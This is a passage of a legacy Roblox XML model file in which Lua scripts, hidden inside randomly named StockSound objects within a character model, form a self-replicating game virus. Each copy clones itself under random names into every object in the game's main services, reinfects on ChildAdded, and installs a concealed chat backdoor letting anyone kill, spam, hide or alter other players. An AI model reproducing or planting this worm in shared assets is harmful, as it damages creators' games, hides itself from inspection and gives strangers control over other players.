game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX320">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">hchhgh8</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX321">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">0ky2774</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX322">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-2.20598984</X>
								<Y>3.32223415</Y>
								<Z>126.679825</Z>
								<R00>0.550176978</R00>
								<R01>3.07810111e-009</R01>
								<R02>-0.835048079</R02>
								<R10>3.45762974e-009</R10>
								<R11>1</R11>
								<R12>5.96421845e-009</R12>
								<R20>0.835048079</R20>
								<R21>-6.16866247e-009</R21>
								<R22>0.550176978</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">0</float>
							<float name="LeftParamB">0</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Torso</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">0</float>
							<float name="RightParamB">0</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="Decal" referent="RBX323">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">roblox</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX324">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">pw2gl8zh</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX325">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
